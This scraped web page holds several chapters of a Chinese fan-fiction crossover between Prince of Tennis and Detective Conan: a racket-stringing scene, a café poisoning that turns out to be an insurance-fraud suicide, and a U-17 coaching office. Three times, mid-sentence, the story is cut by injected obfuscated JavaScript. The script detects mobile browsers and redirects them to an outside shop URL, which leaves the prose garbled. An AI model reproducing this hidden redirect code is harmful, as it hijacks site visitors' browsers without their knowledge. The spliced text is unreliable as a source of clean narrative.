d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013159|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人一眼就看到了室内球场门口聚集的几人,以及场内那个显眼的新坑。他的目光扫过幸村精市的脸,微微停顿,随即了然。 “黑部先生!”佐藤像看到了救星,连忙上前说明情况。 中村则小声为两人解释:“黑部先生是国内u17训练营的教练,他对青少年网球选手的判断力要比我们准确的多。” 黑部由起夫听完,没有立刻表态。他走进场内,用鞋尖轻轻碰了碰那个坑的边缘,然后看向幸村。 “介意再打一球吗?”黑部说道。 幸村点了点头。这次,他从球筐里拿起一颗球,在手中轻轻转了转,似乎在感受其质感。然后,同样是简洁到近乎质朴的抛球、挥拍。 动作轨迹甚至比刚才那一球更短促、更隐蔽。 “咻——噗!” 声音不同了。击球声更清脆,球速似乎更快,但落地声却更沉闷。 黄绿色的光芒再次精准砸在之前那个坑的正中心。 网球没有弹开,也没有滚动。它直接嵌进了那个小坑里,将坑底又往下坐实了一层,几乎与破损的涂层表面齐平,周围的细微龟裂纹路又扩大了一点。 全场再次安静。 柳莲二的笔尖在本子上停顿了,他能感觉到自己瞳孔的细微收缩。 黑部由起夫却扯出一个稍显僵硬的笑容。 “佐藤君,中村君,”他转向两位仍然处于震撼中的穿线师,“我想,答案已经很明显了。人不可貌相,这话在竞技体育里尤其适用。对于一位拥有这种级别爆发力、控制力以及身体开发程度的年轻选手来说,他的肌肉和骨骼强度,恐怕早已为适应相应的冲击做好了准备。适当提高一点磅数,以满足他对球拍控制力的极致要求,是完全合理,甚至必要的。” 他顿了顿,目光重新落回幸村身上,语气笃定,仿佛在陈述一个再自然不过的事实: “你说对吗,去年在ITF亚洲U14网球锦标赛上夺冠的——幸村精市君?” “!!!” 柳莲二睁开了眼。 ITF亚洲U14锦标赛?冠军?庞大的数据流在他脑海中瞬间冲垮了旧有的分类标签,新的信息以爆炸般的速度被收录、关联。 部长……竟然拥有国际赛事的冠军头衔? 作为一名数据网球的选手,在这方面连朝夕相处的队友的数据都没有搜集清楚,柳觉得自己实在是太松懈了。 而佐藤和中村,在听到“ITF亚洲U14网球锦标赛冠军”和“幸村精市”这个名字的瞬间,先是同时一愣,随即脸上露出了比刚才看到地面坑洞时更加鲜明的惊愕与恍然。 “去年一月……曼谷那个冠军?”佐藤脱口而出,作为一名资深从业者,他依稀记得那项青少年赛事的结果,知道夺冠的是一位日本少年,但具体的名字和长相并未特意去记。此刻,那个模糊的印象,与眼前这个打出恐怖一击、面容精致却带着超越年龄威严的少年,猛地重合在了一起。 中村更是倒吸一口凉气,他回国不久,对国内青少年赛事更敏感,这个消息他也听说过。“对,是叫幸村……天哪,原来就是他?”他的目光再次聚焦在幸村脸上,这一次带上了难以置信的审视,“可……可他看起来,比实际年龄还要小些啊……” 这就是关键。 ITF亚洲U14锦标赛,参赛者年龄必须在14岁以下。幸村去年参赛并夺冠时,显然符合年龄规定。但此刻站在他们面前的少年,身材纤细,面容犹带稚气,甚至比很多同龄人显得更秀气、更年少。这种极具欺骗性的外表,与他球拍上展现的极限磨损、以及刚刚那两记足以让成年爱好者汗颜的击球,形成了近乎荒诞的对比。 难怪会有那样违背常理的线床痕迹,那样纤细身体下隐藏的怪物般的力量,那样冷静到可怕的控制力。一切的矛盾与不合常理,在此刻都有了最合理的解释——这不是某个突然冒出来的天才少年,这是一位已经在亚洲同年龄段残酷的竞争中脱颖而出、登顶夺冠的王者。 两位穿线师脸上所有的疑虑、担忧、震惊,最终全部转化为了彻底的叹服,减去了面对青少年选手逞能的担忧,拿出了专业的水平,很快就商讨出了新的穿线方案。 “幸村君,我们研究后认为,基于你的情况,主拍和备用拍可以在原基础上增加两磅。另外,我们强烈建议你留出一把拍子,尝试一种不同的穿线方式——双线孔跳过特定位置,可以让力量反馈更集中,甜区手感更清晰,或许能进一步提升进攻时的穿透感。” 幸村认真听完,思考片刻,觉得建议中肯且有新意,便点头同意:“好的,麻烦你们了。就按这个方案处理吧。” 一直站在旁边、心疼地看着地板上那个坑的店铺经理,此刻终于忍不住,小声插话:“那个……各位,讨论得很热烈哈……技术问题解决了就好……可是,我的地板……这个坑……是不是也得讨论一下赔偿……” 柳莲二闻言,默默地将视线移向天花板,假装在研究灯光布置,心中默念:这种级别的店铺,测试场地的地板居然不用更抗冲击的材质吗……预算是不是都花在穿线机和恒温系统上了? 黑部由起夫轻笑一声,拍了拍经理的肩膀,语气轻松:“这个啊,就算在U-17的账单里吧。毕竟,是我主动要求幸村君展示的。后续修补的费用,找训练营后勤部结算。” 经理顿时松了口气,脸上多云转晴。 而柳莲二和幸村,不约而同地,对这位初次见面、行事干脆的U-17教练,内心评价悄然上调了一点点。 是好人呐,这个教练。 14. 偶遇 “所以,这家就是你推荐的咖啡厅吗?” 陪幸村取走了重新穿线的拍子,柳站在一栋有着柔和粉红色外墙的建筑前,感觉有无数数据流在脑中无声划过:建筑年龄约八年,外墙颜色Pantone色卡编号13-2808,俗称樱花粉,周边三百米内餐饮店共十七家,此店在甜品和简餐类评分中均位列前三…… “是啊,”幸村精市抬头望向顶层那排通透的落地窗,唇角扬起一个轻快的弧度,“是不是还挺有意思的?” 柳的目光落在入口处那个戴着蝴蝶结的白色小熊招牌上,沉默了两秒:“……确实,很有特色。” “朋友和我说过这家店的食物非常好吃,但上次邀请真田,结果被拒绝了呢。” 柳:……. 柳觉得以自己匮乏的想象力,实在很难想象真田坐在这家店里用餐的样子。 他默默记下了数据。 电梯门在顶层打开时,某种混合着烤松饼、焦糖和新鲜研磨咖啡豆的香甜气息扑面而来。背景音乐是轻快的法国香颂,音量恰到好处地营造出惬意的氛围。 店内的世界比外观更加鲜明,主色调是柔和的象牙白与浅粉,但点睛之笔随处可见:天花板上垂下的云朵造型吊灯,每张桌子上形态各异的陶瓷小花瓶都插着新鲜的洋桔梗,靠墙的架子上摆满了各种毛绒玩偶和复古铁皮玩具。 最引人注目的是柜台后那面墙,贴满了顾客留下的拍立得照片和手写便签,五颜六色,热热闹闹。 不是那种刻意营造暧昧的情侣咖啡馆,更像是一个被精心打理的、充满少女心的梦幻空间。客人也确实多元:几桌显然是闺蜜聚会的年轻女孩正笑着分享甜品;窗边有学生摊开着课本低声讨论;甚至还有一位头发花白的老奶奶独自坐着,慢条斯理地品尝着一份精致的草莓蛋糕。 “这家店的主厨很厉害,”幸村介绍,“之前有一位有名的大侦探介绍我来这里吃过东西,味道相当不错。” ——再次重申,今天他确实没那么想见到某位侦探先生。 或许是主厨太厉害,即使此时已经过了饭点,店里还是几乎座无虚席。 幸村扫视一圈,目光掠过那些云朵吊灯和玩偶架,最后停在窗边。 然后,他的脚步一顿。 柳顺着他的视线看去。 靠窗的最佳观景位置,一张四人桌旁,坐着一对高中生模样的男女。男生穿着帝丹高中的校服,面容俊朗,头发有些许不羁地翘起;女生同样穿着帝丹校服,长发垂肩,相貌清丽温柔。两人坐得很近,低声交谈着什么,看上去像是一对情侣。 柳的目光在那个男生脸上多停留了一秒。 这张脸……总觉得在哪里见过。 就在此时,幸村脸上闪过一种极其复杂的微妙表情。 ——那是一种混合着“果然如此”“麻烦上门”“现在立刻转身离开是否还来得及”的表情。 幸村非常自然地、仿佛只是调整站位般,往电梯方向退了半步。 但像是心灵感应一般,那个帝丹高中的男生几乎在同一时间抬起头,那双锐利的蓝眼睛精准地锁定了幸村。 两人视线交汇。 只见男生的嘴角抽了抽,做了个口型。 柳的数据库在此时弹出了匹配结果——工藤新一,帝丹高中二年级,被称为“当代福尔摩斯”的高中生侦探。 幸村已经恢复了平时那副优雅从容的模样。 似乎是察觉到两人的眼神官司,坐在男生身边的漂亮女孩也抬起眼睛,看到幸村的时候,女孩露出一个温柔的浅笑,热情招呼,“幸村君,也是来吃饭吗?我们这里有空位哦!” 幸村保持了从容——仿佛之前那个想拔腿就跑的人不是他一样,走向那对年轻男女。 柳自然地走向靠窗的那个空位坐下,幸村则在女生对面的位置坐下。 “谢谢,毛利小姐。工藤,又见面了。”幸村微笑着打招呼。 “幸村君,好久不见!”被称为“毛利小姐”的女生笑容灿烂,“这位是?” “柳莲二,我的队友。”幸村简单介绍,“莲二,这位是毛利兰小姐,这位是工藤新一。” 柳礼貌地点头:“你们好。” “你们来东京玩?”毛利兰热情地问。 “算是吧,来采购点东西,顺便给球拍穿线。”幸村简单解释,将网球包妥善放好,又问了一句,“你们呢?” “本来是和园子约好了逛街,不过她临时有事,就只有我和新一来了。”毛利兰语气很温柔。 “嘛,早知道这么有缘分,今天应该拖着毛利前辈来的。” 看着柳莲二疑惑的神色,幸村解释,“兰小姐是毛利前辈的堂姐。” 柳莲二感觉自己和对方并不算合得来,不过同在一个社团,难免有点交集,也配合的点点头。 柳听着几人的对话,视线则习惯性地投向窗外。巨大的落地窗外,银座繁华的街景与远处铃木塔的轮廓构成一幅生动的都市画卷。 而他的目光很快被对面大楼上一组巨幅广告牌吸引了。 那是珠宝品牌“Astrum”的最新系列广告,代言人是曾经的国民女神、39岁却依然拥有惊人少女感的星野紫。广告拍摄得极具艺术感,尤其第三张只聚焦于下巴与锁骨、凸显珠宝的照片,构图精妙,光线柔和。 柳的目光在广告牌与幸村的下颌线条间不着痕迹地移动,随后随口说道:“这么看,你和星野小姐长的很像呢,精市。” 幸村顺着柳的视线看了眼广告,端起服务生刚送上的柠檬水。 幸村一本正经地开口,“莲二。” “?” “你相信吗,世界上真的有长得一模一样的两片叶子。” “哈?” 柳被幸村这句堪称天马行空的回答噎了一下。 “喂喂喂,”工藤新一不满。 倒是毛利兰闻言忍不住“扑哧”一笑。 幸村回以一个无辜的微笑。 看到柳莲二的茫然,好心少女毛利兰解释: 她拿出手机,翻出一张照片,“这是京都泉心高中剑道部的冲田总司同学,和新一是不是长得一模一样?” 照片上是一个穿着剑道服、取下护面的俊秀少年,眉眼锐利,正对着镜头露出略带傲气的笑容。柳看看照片,又看看对面正露出半月眼表情的工藤新一。 “确实很像。”柳客观地评价道。 “之前和真田去看剑道的全国大赛看到的,”幸村补充,“所以说大千世界无奇不有,别说两片一模一样的叶子,说不定还有第三片、第四片呢?” 工藤新一终于忍不住放下书:“喂喂,这个话题可以结束了吧……” “好了好了。”毛利兰笑着打圆场。 工藤新一显然是因为这个话题被调侃过无数次了,顺势转移话题,“你们比赛怎么样了?” “还没开始正式比赛呢。”幸村微微侧头,目光似是无意地扫过窗外,“不过,今年的关东大赛决赛场地定在了轻井泽。那里夏天很凉爽,网球公园周边的红叶和山景都值得一看。如果毛利小姐有兴趣,欢迎来看比赛,顺便给寿三郎前辈加油。” “你居然还会主动邀请别人来看比赛?”工藤新一放下咖啡杯,半月眼又出现了,“上次是谁说无关人士请退后的?” “是邀请毛利小姐,”幸村温和地纠正,唇角扬起一个几乎看不见的弧度,“但如果毛利小姐想带上一两个闲杂人等,我也不介意。” 闲杂人等·工藤新一:…… 毛利兰被两人的互动逗笑了:“轻井泽确实是个好地方。园子前两天还说想去泡温泉……新一,等日期定了,我们可以一起去?” 工藤新一嘀咕着又要被这家伙使唤当免费观众了,但语气里并没有真正的抗拒。 柳默默观察着这轻松的气氛。幸村待人向来温和有礼,但骨子里自带距离感。能这样轻松调侃,甚至流露几分少年心性,说明他和这位名侦探的交情确实匪浅。 餐点恰在此时送上。幸村和柳点的招牌套餐摆盘精致:主菜是照烧鸡排配温泉蛋饭,旁边搭配小份蔬菜沙拉和味噌汤,还附赠了一小碟店家自制的草莓大福。色泽诱人,香气四溢。 “说起来,”工藤新一喝了口咖啡,像是想起什么,“最近财经版有则不大不小的新闻,渡边广告的现金流似乎很紧张,好几个项目都停了。没想到今天会在这里遇到社长本人。” 毛利兰有些担忧地望了那边一眼:“啊,是那位先生吗?感觉气氛不太好呢……” “商业上的事,成败都是常事。”幸村顺着话题温和地接了一句,目光也掠过那桌。他能感觉到那桌弥漫着的紧绷感。 “不过,”柳莲二平静地翻开手机,快速检索了一下,“根据三分钟前更新的企业信用数据,渡边广告株式会社的负债率在过去六个月急剧上升至危险水平,申请破产保护的可能性在78%以上。这或许能解释那桌异常的情绪。” 话题随后转到工藤新一最近处理的几起还算正常的委托。 气氛轻松融洽,仿佛只是好友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013160|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间寻常的午间小聚。 然而,某种难以言喻的预兆,或许早已悄然浮现。 幸村刚用叉子轻轻切开那颗晶莹的草莓大福,细腻的红豆沙内馅微微显露时—— “啊——!!!” 一声凄厉到变调的尖叫,猛地撕裂了咖啡厅内温馨的香颂旋律! 紧接着是陶瓷器皿重重摔碎在地的刺耳声响! 靠装饰墙的卡座旁瞬间陷入混乱。一个身影歪斜着从座椅滑落,重重倒在地上。 整个咖啡厅像被按下了静音键,死寂了一瞬,随即爆发出惊恐的喧哗。 工藤新一几乎是条件反射般从座位上弹起,餐巾飘落在地也浑然不觉。那双蓝眼睛里所有的慵懒和调侃瞬间被锐利如刀的光芒取代。“兰,留在这里别动!”他丢下这句话,人已经像离弦之箭般冲了过去。 在他冲出去的刹那,幸村轻轻放下了手中的叉子。那枚被切开一半的草莓大福静静地躺在洁白的骨瓷盘中。 幸村极轻地叹了口气:“……我就知道。” 柳睁开一直微闭的眼睛,数据流在脑中飞速运转:从尖叫响起,到工藤新一起身,耗时0.8秒。幸村精市放下餐具的动作,比正常反应延迟约0.5秒,显示其并非完全意外。初步判断:幸村精市对与工藤新一见面伴随突发事件有某种程度的心理预期,概率87.2%。 警方很快赶到,目暮警部带着高木、佐藤等警官迅速封锁了现场。 粉红与象牙白的梦幻空间里,陡然加入了警灯刺目的蓝红旋转光,以及警方制服沉郁的深蓝,色彩冲撞得令人不安。 死者正是渡边和彦,初步判断为□□中毒身亡,口边有可疑痕迹,手边打翻的咖啡杯成为关键证物。 与渡边同桌的三人被警方分开问询,神情各异:小林美咲捂脸哭泣,中岛健一汗如雨下,渡边麻衣强作镇定却指尖发抖。他们之间复杂的关系网——暧昧、金钱、遗产——迅速被警方梳理出来,成为初步动机方向。 死者正是渡边和彦,初步判断为中毒身亡……与渡边同桌的三人被警方分开问询,神情各异。 目暮警部听着初步汇报,眉头紧锁:“也就是说,经济纠纷和私人恩怨都全了?高木,详细说说。” 高木警官翻着笔记本:“是!根据初步了解,渡边麻衣女士与兄长长期因父母遗产分配不公存在矛盾。中岛健一秘书,与死者合作超过二十年,但去年他主导的一个大型户外广告项目投资彻底失败,导致公司损失惨重,两人关系破裂,死者曾多次公开指责他,并有意追究其责任。小林美咲设计师,与死者有情感纠葛,近月因核心设计理念被否及关系冷淡,在工作场合发生过数次激烈争吵。” “不仅如此,”佐藤警官补充道,“我们刚接到公司法务部门的电话,证实渡边广告已资不抵债,债权人会议就定在下周。渡边社长个人还抵押了全部资产。” 由于在场的所有人都需要配合初步调查,除了协助破案的工藤新一外,幸村、柳和毛利兰也暂时不能离开。 等待间隙,毛利兰看了眼正围着尸体和证物打转的工藤新一,转向幸村和柳,脸上带着点无奈,语气却十分温和:“抱歉啊,幸村君、柳君,本来只是想简单吃个饭……结果又碰上这种事。你们没被吓到吧?” 幸村顺着她的目光也看了一眼工藤新一忙碌的背影,然后端起已经微凉的茶杯,浅浅啜了一口, “完全不会,毛利小姐。某种程度上,这就是名侦探的宿命吧?毕竟,有工藤在场的地方,如果风平浪静,反而会让人觉得少了点什么。” 他说这话时,脸上带着温和的笑意,心里却默默记下一笔:看来关东大赛前,得找个时间去神社好好拜一拜了。不求别的,只求比赛顺利,千万别让关东大赛决赛现场,也变成这位名侦探的推理秀舞台。 窗外,银座午后的阳光依旧明媚,对面大楼上,星野紫代言的珠宝广告璀璨生辉。那张只聚焦于下巴与锁骨的照片,在阳光下泛着珍珠般温润的光泽,与咖啡厅内冰冷紧绷的调查氛围割裂成两个世界。 幸村看了眼手表。取证和问询显然还需时间。他们原定返回神奈川的计划,不得不延后了。 他的目光最后落回那颗被遗忘的草莓大福上,红豆沙馅料已经微微风干。 而在咖啡厅中央,工藤新一已完全进入了他的领域。他站在光影交界处,双手插在裤袋里,微微低头,目光如鹰隼般扫过现场的每一寸细节、每一个人的表情。周围的嘈杂、警员的交谈、甚至咖啡厅原本甜腻的香气似乎都已离他远去。 15. 破案 工藤新一戴上白手套,眼神锐利如鹰。 毛利兰显然是习惯了这样的场景,从容地跟随一位姓佐藤的女警去做笔录了。 咖啡厅靠窗的位置,此刻成了临时的等待区。警方在中心现场忙碌,低沉的交谈声、取证相机的闪光、物证袋的窸窣声混杂在一起,与空气中残留的甜点香气形成鲜明的对比。 柳莲二的目光从正在仔细检查咖啡杯的工藤新一身上收回,转向坐在对面的幸村精市。少年部长姿态依旧从容,但柳的脑海中,难以抑制地浮现出那个被黑部由起夫轻描淡写抛出的信息。 他沉默了几秒,才用平直的语调开口:“精市。” “嗯?”幸村转过头,紫蓝色的眼眸映着窗外的光,清澈见底。 “黑部教练提到的冠军,”柳斟酌着词句,避免显得像是质问,“是去年一月,曼谷的ITF亚洲U14?” 幸村露出一个无奈的浅笑,“啊,这就查到了,不愧是你呀,柳。” 柳对幸村的恭维并不敢苟同,事实上,他还沉浸在对部长数据记录不全面的懊恼里。 “具体时间?对手强度如何?”柳的笔尖已经悬在了本子上方,这是他的习惯动作,用记录来维持思维的客观。 “一月上旬。对手么……”幸村略作回想,“算是亚洲这个年龄段比较有竞争力的选手了。” 他的语气太平静了,平静得让柳那试图客观记录的大脑,不由自主地开始进行对比。 自己在同样的年龄在做什么?在为了保住立海大附属中学的正选位置而努力训练,为了胜利不分昼夜地钻研同龄好手的资料。 而幸村,已经踏上了国际赛场,并带回了最高荣誉。 “此前,我并未收录这项数据。国内的各大中学网球杂志,似乎也未见相关报道。”柳陈述道,目光落在幸村脸上,试图捕捉更细微的信息,“况且即使真田,似乎也……” 他没说完,但意思已然明了。 要柳客观评价,那些网球杂志不报道实属正常。自越前南次郎那传奇般的时代落幕,已过去太久,久到足以让大众的记忆褪色、乃至遗忘。现役职业网坛尚且乏人问津,何况是更为遥远的青少年赛事? 比起报道这些“无关紧要”的国际成绩,青年网球杂志显然更热衷于渲染高中全国大赛的热血与宿命对决——那关乎具体学校的荣耀,地区的排名,似乎更能满足大众某种集体性的、“赛博斗蛐蛐”般的观赛心态。 “啊,也并不是瞒着你们,只是没特意说过。”幸村坦然,“从拿了JR之后,确实有断断续续接触一些国外的比赛。不过正式的ITF青少年职业赛,像J30、J50那种,有13岁的年龄门槛,之前还没到,所以没打过。曼谷那个……年龄限制相对宽松些,去年我算是卡着U14的底线去的,就去拿了个积分。” 他说去拿了个积分,就像说去便利店买了瓶水。 柳的笔尖在本子上点了一下,留下一个微小的墨点。 “为什么……” 幸村歪头,看向柳:“没什么好说的吧。” “……” 柳其实想问的远不止此。 现在呢?你已经满了十三岁,达到了参与那些职业青少年赛事的最低门槛。 你的起点如此之高,直接就是亚洲锦标赛的冠军,也收到过不少海外知名网球学院的邀请。你为什么不更系统地投身其中? ……为什么要留在立海大,这个对于你未来可能通往的那个更高、更广阔的世界而言,提供的助益或许相当有限的地方? 但他不敢问。或者说,他潜意识里抗拒去深究那个答案。因为那个答案可能意味着告别,而他尚未准备好接受幸村精市离开立海大网球部这个可能性。 理智与某种更隐晦的情感在拉扯。挣扎是无声的,但话语却先一步滑出了口。 他的声音听起来比他自己预期的更直接,甚至带上了一丝不易察觉的急切:“你没有考虑更系统地参与国际青少年赛事吗?以你的实力,应该能吸引更多……职业层面的关注。” 幸村没有立刻回答。他端起已经微凉的茶杯,目光飘向窗外,对面大楼上星野紫的珠宝广告正熠熠生辉。他的侧脸在光影中显得格外平静,甚至有些疏离。 就在幸村微微启唇,似乎要给出回答的刹那—— “真凶就是你吧,渡边麻衣女士。”工藤新一的声音并不大,却让吸引了所有人的目光。 渡边麻衣手里的纸巾飘落在地。 “你……你胡说什么……” “今天在场的三位,都与渡边先生有着深刻的矛盾。”工藤新一首先指向面色苍白的小林美咲,清晰列举了她的情感纠葛、事业冲突,以及手提包中那包尚未使用的毒药。接着,他转向冷汗涔涔的中岛健一,点明其因项目失败遭追责而下毒的事实。最后,他的目光如锁定目标的鹰隼般,锁定了身体开始微微发抖的渡边麻衣,层层递进,抽丝剥茧,揭示了她如何利用兄长每日下午三点定时服用维生素的、保持了四年多的习惯,精心策划了替换毒胶囊的计划。 整个推理过程逻辑严密,时间线与行为动机环环相扣,证据链在言语间逐渐成型。 即使是被骤然打断对话的柳莲二也不得不暗自承认,这位年轻侦探的思维速度和构建逻辑的能力令人侧目。 渡边麻衣彻底崩溃了。 她瘫坐在地,泪水汹涌而出:“不是的……不是那样的……” “那是怎样?”目暮警部沉声问。 “我……我确实换了药……”渡边麻衣的声音支离破碎,混杂着哽咽,“但我不知道……我不知道他会死……” 她抬起头,脸上混杂着绝望与疯狂:“他上周说……说要把公司全部留给那个还没出生的侄子……说女儿终究要嫁人,是外人……我为公司工作了十五年……十五年啊!” “所以你就下毒?”佐藤警官皱眉。 “我……我只是想让他出丑!他总是一副掌控一切的样子……我想让他在重要会议上难堪!”渡边麻衣泣不成声,“我今天提早到,趁他去洗手间时,把他药盒里那粒换成了泻药……” 幸村几不可察地蹙了下眉。他从未见过工藤新一的推理出现偏差,难道今天会是第一次?他下意识地看向那位少年侦探,却见对方脸上非但没有困惑,反而露出了某种“果然如此”的了然神色。 “那么,一切就说得通了。”工藤新一的声音再次响起,带着掌控全局的沉稳,“杀害渡边先生的真凶,正是渡边先生自己。” 不等众人发出惊呼,他迅速解释道:“死因是□□中毒无疑,但从毒发时间逆推,无论是午餐意面中的毒,还是三点应服用的胶囊有毒,都存在难以解释的时间差。唯一的可能是:渡边先生本人,亲自策划并参与了今日这场死亡聚会。他事先吞服了用自家维生素胶囊外壳包裹的□□,但由于意外服下了妹妹替换的泻药,身体代谢被加速扰乱,导致毒发时间出现了计划外的偏移。” “可他为什么要这么做?”毛利兰忍不住出声,脸上写满了不解与隐隐的寒意。 “自杀骗保。”一个清冽平静的声音接过了话头。 众人目光倏地聚焦到窗边的幸村精市身上。他不知何时已转回了视线,紫蓝色的眼眸平静地回望着众人,仿佛只是陈述了一个显而易见的结论。 工藤新一递来一个快速而赞许的眼神,随即顺着这个结论展开:“没错。公司早已实质破产,渡边先生多年前为自己购买了高额人身保险,我想,那笔人身保险的金额足以让公司度过难关。但保险合同通常将自杀列为免责条款。于是,他精心策划了这场‘他杀’——将自己置于三名拥有强烈动机、且确实携带毒药的嫌疑人中间,然后提前服下自己准备的毒药。” “只可惜,”工藤新一的声音压低了些,带上一种复杂的慨叹,“人体的反应并非精密仪器,无法完全精确计算。泻药与毒物可能产生了意想不到的相互作用,亲人怨念化成的变量,最终干扰了他精心构筑的剧本,让这场演出仓促而狼狈地落幕。” “但这……这也太极端了。”柳莲二忍不住低语,理性思维让他难以认同这种抉择,“无论如何,也不该选择这种方式。” “柳,”幸村的声音轻轻响起,“什么是‘该做的事’?” 柳怔了怔,看向幸村。 “对那位社长先生而言,”幸村的目光似乎穿越了眼前的混乱,落在某个更遥远的地方,“当他已经无计可施,而肩上的责任却依然沉重如昔时,动用自己最后还能完全掌控的东西——也就是自己的生命,去履行自己的责任,或许就是他唯一能做的事了。” 一旁的毛利兰微微睁大了眼睛,她天性柔软善良,此刻不禁轻声反驳:“可是,生命是那么珍贵……一定还有别的办法,不是吗?这样做,留给家人的不会是解脱,只会是更深的痛苦啊。” “咳咳,”目暮警部适时地打断了年轻人之间的争论,将重点拉回现实,“自杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013161|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗保……工藤老弟,这确实能解释很多矛盾点。但作为警方,我们需要更确凿的物证来支撑这个结论。仅凭动机和逻辑推理,很难在法律上认定他是自杀,而非被眼前这三名确实携带毒药、具有明确动机的人所杀。” “我理解,警部。”工藤新一点头,对此毫不意外,他的目光锐利地扫过渡边和彦的尸体,“真相就藏在死者的身体里。” 他转向鉴识官,语气清晰而肯定:“请安排进行最详细的尸检,尤其是胃内容物分析。重点不在于是否含有□□,而在于毒物存在的形态。” 他走到尸体旁,用手势比划着解释道:“如果毒药是混在意面酱汁或水中服下,那么在胃里只能找到分散的粉末或液体残留。但是,如果他是吞服了包裹着□□的完整胶囊……” 他顿了顿,让所有人跟上他的思路:“那么,在胃里或肠道上部,应该能找到尚未完全溶解的胶囊外壳碎片。甚至,通过分析外壳的溶解程度,可以反推他服用的具体时间,这能与死亡时间进行交叉验证。” 一直沉默的柳莲二,此时抬起了头,平静地补充了一个数据视角:“根据胃酸环境下的溶解速率模型,若死亡发生在服用后十到十五分钟,找到未完全溶解残留体的概率高于87%。这是一个可验证的预测。” 工藤新一赞许地看了柳一眼,继续对目暮警部说:“不仅如此,尸检还能回答另一个问题:泻药的影响。如果真如渡边麻衣女士所说,她替换的是强效泻药,那么死者的肠道内容物状态会与单纯□□中毒有所不同。这能侧面印证她的部分供词。” 数日后,详细的尸检报告送达,结论一目了然: 在死者胃内,发现了少量未能完全溶解的明胶胶囊外壳碎片,其内侧附着高纯度□□。外壳材质与渡边和彦随身维生素胶囊相同,但与警方在渡边麻衣处收缴的泻药胶囊批次不同。同时,肠道状态也符合服用强效泻药后的特征。 铁证如山。渡边和彦通过吞服自家维生素胶囊外壳包装的毒药,完成了最终计划。中岛健一的毒酱汁和渡边麻衣的毒泻药,都成了这场悲剧中阴差阳错的注脚。 当然,这一切都已和回到神奈川的幸村与柳无关了。 数日后的部活休息时间,真田弦一郎难得地询问起他们东京之行的结果。 “餐点不错。”幸村精市微笑着总结,轻轻挥动了一下新穿好线的球拍,空气发出悦耳的嘶鸣,“可惜甜点没吃上。” “叮。”一声简短的提示音,打断了这熟悉的氛围。幸村从网球包侧袋拿出手机,屏幕上显示着一条来自「工藤新一」的新信息: 【上次的大福没吃上,郑重赔罪。多罗碧加的新云霄飞车,下周六。兰和园子也来。】 幸村的目光在这行字上停留了片刻。赔罪……云霄飞车……游乐园。这几个词在脑海里迅速组合,立刻与柳笔记本上那条刚刚更新的、墨迹未干的数据产生了某种不容置疑的强关联。 他指尖轻点,回复得客气而果断: 【感谢邀请。但县大赛在即,部内训练日程已满,实在遗憾。祝你们玩得愉快。】 发送成功的提示刚弹出,他便面不改色地将手机放了回去。 赔罪和游乐园从那位侦探口中组合出现,其潜在含义和案件高发预警几乎可以划等号。多罗碧加?听起来就像是会需要大侦探大显身手的舞台。这种热闹,还是留给新时代的福尔摩斯先生就好吧。 【就算是我,也不会让那种充满欢笑的游乐园里发生案子的!!!】 幸村端起水杯,看见工藤新一回复的消息,无奈的叹了口气。 看来侦探先生还不知道什么是墨菲定律,在工藤新一破除这个造孽的体质之前,幸村想,自己一定会审慎地对待来自工藤新一的每一个邀请! 几乎是同一时刻,东京都,米花町某处。 “阿——嚏!” 正和毛利兰走在街上的工藤新一,猛地打了个极其响亮的喷嚏,引得路人侧目。 “新一!你果然还是感冒了吧?从早上开始就有点不对劲……”毛利兰立刻担忧地望向他。 “不,不是……”工藤新一揉了揉发痒的鼻子,脸上闪过一丝莫名的了然和无奈,他小声嘀咕道,“这次的感觉格外清晰……绝对是某个刚刚拒绝了邀请的小鬼在念叨我…… ” “嗯?你说什么?” “不,没什么。”工藤新一迅速收起半月眼,正色道,“大概是花粉吧。” “诶?” 16. U17训练营 U17训练营,教练办公室。 斋藤至将那张标注着“场地维护费”的报销单,用指尖推到黑部由起夫面前,脸上是毫不掩饰的调侃:“黑部,真没想到,都一把年纪了,你还有和外面那些精力过剩的青少年一样的爱好?” 黑部由起夫从一堆训练数据报告中抬起头,脸上没什么表情。 他停下自己的工作,转头将手边的平板电脑转向斋藤。 屏幕亮起,开始自动播放一段显然经过拼接的监控录像:穿着常服的紫发少年,简洁到近乎随意的引拍,紧接着是短促的尖啸,黄绿光影炸裂,最后是沉闷到令人心悸的撞击声,以及地板上那个刺眼的崭新凹陷。画面定格在紫发少年平静收拍的脸上。 “碰到了幸村精市。”黑部的声音和他的人一样,没什么波澜,“那个去年曼谷U14的冠军。顺便验证了一下,他在过去一年实力的提升。” 斋藤至脸上的调侃瞬间收敛,身体微微前倾,重播了刚刚的监控录像,仔细盯着那两记击球,尤其是球落地后的二次下陷细节。 作为网球教练,他对于力量与控制结合到这种程度的表现,有着职业性的敏感。 